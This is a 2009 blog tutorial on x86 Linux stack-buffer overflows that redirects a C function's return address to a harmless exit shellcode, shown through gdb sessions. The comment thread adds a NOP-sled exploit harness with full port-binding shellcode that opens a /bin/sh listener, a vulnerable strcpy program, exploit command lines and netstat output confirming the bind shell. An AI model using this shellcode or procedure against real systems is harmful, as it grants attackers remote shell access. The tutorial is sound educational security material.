Tuesday, January 20, 2009

c: executing shellcode

In previous article I've described how to overwrite function's return point to execute some code.
I *nix world most of the code is being written in c. So most likely you will have to deal with stack overflows in c.

The basics remain the same. You have to find the top of the stack of a function, calculate the address of the return point and write the beginning of your code into it.
Let's look at the code below.

#include <stdio.h>

void function()
{
    int *p;
    printf("&p: %p\n", &p);
}

int main(int argc, char **argv)
{
    function();

    return 0;
}
The address of pointer p should be the top of the stack of our function. The output should looks like
&p: 0xbffdf594
The address might change between the program execution. Running this program in gdb, stopping in the beginning of the function and looking at address of p and values of the register you can see that the difference between the &p and %esp is 4 bytes.
(gdb) l
2 
3 void function()
4 {
5     int *p;
6     printf("&p: %p\n", &p);
7 }
8 
9 int main(int argc, char **argv)
10 {
11     function();
(gdb) b 5
Breakpoint 1 at 0x804838a: file so.c, line 5.
(gdb) r
Breakpoint 1, function () at so.c:6
6     printf("&p: %p\n", &p);
(gdb) i r
esp            0xbff2d490 0xbff2d490
ebp            0xbff2d4a8 0xbff2d4a8
...
(gdb) p &p
$1 = (int **) 0xbff2d4a4
Indeed, &p is on the top of the stack. We should take into account that usually %ebp is pushed onto the stack, so the difference between &p and return point is 8 bytes.
(gdb) disass
Dump of assembler code for function function:
0x08048384 <function+0>: push   %ebp
0x08048385 <function+1>: mov    %esp,%ebp
0x08048387 <function+3>: sub    $0x18,%esp
0x0804838a <function+6>: lea    -0x4(%ebp),%eax
0x0804838d <function+9>: mov    %eax,0x4(%esp)
0x08048391 <function+13>: movl   $0x80484a0,(%esp)
0x08048398 <function+20>: call   0x8048298 <printf@plt>
0x0804839d <function+25>: leave  
0x0804839e <function+26>: ret    
We are almost ready for the hack. Let's write some shellcode that would be executed instead of returning from function to main.
I'm not strong in writing shellcode and asm, so let it be simple code that will call exit with exit code 1. The asm code is
.text

.global main
main:
movl $1, %eax
movl $1, %ebx
int $0x80
Having compiled and linked code is not enough, we can't just put ELF binary as a shellcode. I used objdump to extract disassembled code of main and its representation in machine commands.
$objdump -d shellcode
...
08048354 <main>:
 8048354: b8 01 00 00 00        mov    $0x1,%eax
 8048359: bb 01 00 00 00        mov    $0x1,%ebx
 804835e: cd 80                 int    $0x80
...
The code begins from address 8048354 and ends at 8048360. To use the instructions as a shellcode they should be put into an ascii zero-ended string where each code is prefixed with '\x'. The string with shellcode will be "\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80".
Let's integrate the shellcode into our program.
#include <stdio.h>

char shellcode[] = "\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80";

void function()
{
    int *p; 
    printf("&p: %p\n", &p);
    p = (int *)&p + 2;
    *p = (int)shellcode;
}

int main(int argc, char **argv)
{
    function();

    return 0;
}
Here I assigned the address of &p plus 8 bytes, which should be the return point, to the pointer. So p now points exactly to the return point. Later I write the address of the shellcode to *p, that is actually a return point.
If you execute this code and check the exit code you should see
$./so
&p: 0xbfd262e8
$echo $?
1
As expected the program exited with code 1. Let's walk through the execution process.
(gdb) l
6 {
7     int *p;
8     printf("&p: %p\n", &p);
9     p = (int *)&p + 2;
10     *p = (int)shellcode;
11 }
12 
13 int main(int argc, char **argv)
14 {
15     function();
(gdb) b 11
Breakpoint 1 at 0x80483b0: file so.c, line 11.
(gdb) r
&p: 0xbff2d4a4

Breakpoint 1, function () at so.c:11
11 }
(gdb) n
0x080495b8 in shellcode ()
(gdb) disass
Dump of assembler code for function shellcode:
0x080495b8 <shellcode+0>: mov    $0x1,%eax
0x080495bd <shellcode+5>: mov    $0x1,%ebx
0x080495c2 <shellcode+10>: int    $0x80
0x080495c4 <shellcode+12>: add    %al,(%eax)
Instead of returning to main the execution moved to the address 0x080495b8. Disassembled code of the shellcode is exactly the same as we have generated.

Actually this shellcode won't work in the real world because it contains null-bytes. Mostly buffer overflow attacks are used against string functions from libc and they will cut this code.

A lot of interesting shellcodes you may find at the metasploit project site.

Please note, I've suceeded with runnning this code with gcc-4.3.2 and linux-2.6.27.
With gcc-4.1.2, gcc-3.4.6 and linux-2.6.25 I didn't succeed to run the shellcode and ran into segfault with and without -fno-stack-protector gcc flag. I've also checked kernel.randomize_va_space system parameter but switching it to the different values didn't help. Unfortunately I don't know why this is not working. Actually it's failing on
mov    $0x1,%eax
I have no idea why writing value to the register causes segfault. Most likely that's not a gcc 'issue' but kernel(or kernel configuration), because my kernel 2.6.27 is not secure at all because I'm sitting behind the firewall and some performance benefit by turning off security features is critical for me.

12 comments:

Олександр Кравчук said...

Чому не пишеш українською?

Ni@m said...

Just because English is an universal language, especially in IT.

Matteo Tosato said...

Hi,
I hope you'll excuse me for my English. I am Italian.

Even I am trying to test shellcode under linux and am having problems that I can not explain.

- using gcc 4.3.2

with the technique of NOP instructions;
I override the return address with the address of a buffer containing the shellcode and the NOP instructions on head.

but it does not jump a execution level... and this is very strange.

maybe you can help me or I may be of interest.

snip:

#include
#define LARGE_SIZE 612

char large[LARGE_SIZE];
char shellcode[]=
// Port binding shellcode by xxxxxxxxxxxx - Febbraio 2010
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06"
"\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa\xb3"
"\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07"
"\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50"
"\x52\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58"
"\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43"
"\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90";

long get_sp() { __asm__("movl %esp, %eax"); }

void main(int argc, char*argv[])
{
system("clear");
int h;
long *large_ptr = (long*)large;

int offset = atoi(argv[1]);
long ptr = get_sp() - offset; // offset tra ESP e buffer small

printf("\nUsing address: 0x%X\n",ptr);
for(h=0;h<sizeof(large);h+=4)
*(large_ptr++) = ptr;

for(h=0;h<strlen(shellcode);h++)
large[h] = shellcode[h];

large[LARGE_SIZE-1] = '\0';

memcpy(large,"EGG=",4);
putenv(large);
system("/bin/sh");
}

you could test it?

Ni@m said...

Hello M@tteo!
Sorry for a long delay.

First of all I don't understand why the shellcode should be called in your program. Is there any issue with putting big staff into the environment?

The execution of the shellcode may fail because of different reasons. For instance your environment doesn't allow execution of code in that is in data section.

Anyway, I've slightly modified your code to execute the shellcode on return from main:
void main(int argc, char **argv)
{
unsigned int esp, ebp;
int h;
unsigned int *large_ptr = (unsigned int *)large;
unsigned int *ptr;

__asm__ volatile ("movl %%esp, %0 \n"
"movl %%ebp, %1 \n"
: "=r"(esp), "=r"(ebp) : );

printf("esp: 0x%08X\n", esp);
printf("ebp: 0x%08X\n", ebp);
printf("esp-ebp: %d\n", (int)esp - (int)ebp);

if (argc == 2)
ptr = (unsigned int *)(esp - atoi(argv[1]));
else
ptr = (unsigned int *)(ebp + 4);

printf("Using address: 0x%X\n", ptr);

for(h=0;h<sizeof(large);h+=4)
*(large_ptr++) = (unsigned int)ptr;

for(h=0;h<strlen(shellcode);h++)
large[h] = shellcode[h];

large[sizeof(large)-1] = '\0';

/* memcpy(large,"EGG=",4); */
/* putenv(large); */
/* system("/bin/sh"); */

*ptr = (unsigned int)&shellcode;
}

If you look at the disassembly of the main you'll see that esp at point where you are trying to get its value is rather far from the value of state frame pointer:
080484a4 <main>:
80484a4: 55 push %ebp
80484a5: 89 e5 mov %esp,%ebp
80484a7: 83 e4 f0 and $0xfffffff0,%esp
80484aa: 53 push %ebx
80484ab: 83 ec 3c sub $0x3c,%esp

gcc reserves space for local variables, so it's much easier to use ebp what I actually did.

Running the app under strace you'll see that the shellcode is being executed:
strace -f ./test
....
fork(Process 758 attached
) = 758
[pid 757] _exit(0) = ?
[pid 758] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(43690), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3,

Matteo Tosato said...

Hello Ni@m!
congratulations for your skills in computer programming.

I'll explain better

The test purpose is to simulate an local exploit,
I do this by giving an oversized argument (EGG) to a vulnerable program (vulnerable)
starting from my posted code...
I compiling test with:
gcc -ggdb -fno-stack-protector -z execstack exploit_test_port_binding_with_e
gg2.c -o test

test accepts as an argument the buffer size. Put 100 bytes more.
And an offset

For example on my system will be:
./test 612 1550

then /bin/sh starts,
the vulnerable program code is simple:
void main(int argc, char*argv[])
{
char buffer[512];
printf("0x%X\n",buffer);
if(argc>1)
strcpy(buffer,argv[1]);
}
test buffer is larger than vulnerable buffer.

execute vulnerable program with EGG argument: (612 bytes)
# gdb vulnerable
...
(gdb) break 7 // break at and
(gdb) run $EGG
....
look in stack:
(gdb) x/200 $esp
.....
I found this situation:
(gdb) print $ebp
$1 = (void *) 0xbfffee48
0xbfffee48 contain my overwritten return address 0xbfffeca6.

At 0xbfffeca6 is that my shellcode that I copied in stack. I suppose then work, because it is in the middle of NOP instructions.

At the next step I expect that the NOP instructions are executed!! And then my shellcode.

But I see follow:
(gdb) n
0x90909090 in ?? ()
(gdb)

why? why eip wants jump at 0x90909090?!
I expect NOP were executed.

where I'm wrong?

I hope that I explained well with a readable English, thanks.

Ni@m said...

Hello, M@atteo!
>congratulations for your skills in computer programming.
Thanks.

You are overwriting return address of main with nop instrunction(which has 0x90 opcode). That's why %eip becomes 0x90909090 when it tries to escape from main.
You have to overwrite the return address of main with the _address_ of the shellcode.

You can guess the address of the *buffer* from your test program and put it instead at return address of the function.

void main(int argc, char*argv[])
{
char buffer[512];
printf("0x%X\n",buffer);
if(argc>1)
strcpy(buffer,argv[1]);
}

./test 'shellcode[up to 512 bytes]; repeat 0xXXXXXXXX n times'

Where 0xXXXXXXXX is an address of *buffer* and you should it repeat several times to ensure that the return address was overwritten.

On other hand if you want to exploit NOP-sled technique then you have to have rather big area of nops with relative jump to the beginning of the shellcode in the end and rewrite the return address of function with some point within the nops.

Is it clear?

I will try to give you an example of exploit later.

BTW, don't forget about stack address randomization.

Matteo Tosato said...

>You have to overwrite the return
>address of main with the _address_ of the shellcode.

I suppose that my program does this correctly, no?

>You can guess the address of the
>*buffer* from your test program and
>put it instead at return address of the function.

This is clear.


>On other hand if you want to exploit
>NOP-sled technique then you have to
>have rather big area of nops with
>relative jump to the beginning of the
>shellcode in the end and rewrite the
>return address of function with some
>point within the nops.

OK

>BTW, don't forget about stack address >randomization.

I have already done this with:
`echo 0 > /proc/sys/kernel/randomize_va_space`

I was able to do the same as on windows but on linux have this problem that I did not understand

Ni@m said...

>>You have to overwrite the return
>>address of main with the _address_ of the shellcode.

>I suppose that my program does this correctly, no?

Since your main's return address becomes 0x90909090 then _no_.

Matteo Tosato said...

... :)
You're right.

Ni@m said...

Hello, M@tteo!

I've modified the original program that generates the shellcode in a way it doesn't start the shell but prints the shellcode to the output. This is much easier to check and you don't have to deal with env offset.

So the shellcode.c looks like:
int main(int argc, char **argv)
{
int h;
unsigned int ptr;
char *buffer;
int size = 1024;

if (argc == 1) {
unsigned int esp, ebp;

__asm__ volatile ("movl %%esp, %0 \n"
"movl %%ebp, %1 \n"
: "=r"(esp), "=r"(ebp) : );

printf("esp: 0x%08X\n", esp);
printf("ebp: 0x%08X\n", ebp);
printf("esp-ebp: %d\n", (int)esp - (int)ebp);

return 0;
}

ptr = strtoul(argv[1], NULL, 0);

if (argc == 3)
size = atoi(argv[2]);
if (!(buffer = malloc(size))) {
printf("Unable to malloc =/\n");
return 0;
}

for(h=0;h 1) {
strcpy(buf, argv[1]);
}

return 0;
}

You are adjusting jump address(to overwrite return address) basing on 'shellcode app' stack frame address. But you forgot about the environment. The app that pushes $EGG doesn't have it itself, so this should be kept in mind. Also your shell and the shell you are executing from the 'shellcode app' has different environment(mostly important - environment size). That's why better not to pop new shell but reuse existing.

Look, with the apps listed above:
./shellcode
esp: 0x7FFFF880
ebp: 0x7FFFF8C8 <----
esp-ebp: -72

# adjust the address: %ebp - sizeof(buf) - sizeof(argv[1])
./vulnerable $(./shellcode $(python -c "print '0x%08X'%(0x7FFFF8C8-512-1024)"))
esp: 0x7FFFF290
ebp: 0x7FFFF4B8
esp-ebp: -552
&buf: 0x7FFFF2A8

sudo netstat -napt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:43690 0.0.0.0:* LISTEN 5393/vulnerable


I hope now it's clear(for both of us ;) ). You may find the sources here: http://github.com/niamster/misc/tree/master/buffer_overflow_nop_sled/

Matteo Tosato said...

Hello Ni@m,

thanks for your time and your generous response.

"But you forgot about the environment. The app that pushes $EGG doesn't have it itself, so this should be kept in mind. Also your shell and the shell you are executing from the 'shellcode app' has different environment(mostly important - environment size). That's why better not to pop new shell but reuse existing."

right!
I had not thought this problem.
I abandoned environment variables...

here I wrote a public report of everything I did:

http://pastebin.com/DQm2Unbk

Thanks.

Ni@m said...

Hello, M@tteo!

Thanks for sharing the results of your research!
Regarding the problem with the running shellcode on returning from the main - I guess that gdb could stand on the way. Because according to the output the return address (EBP+4) had been pointing exactly at nop.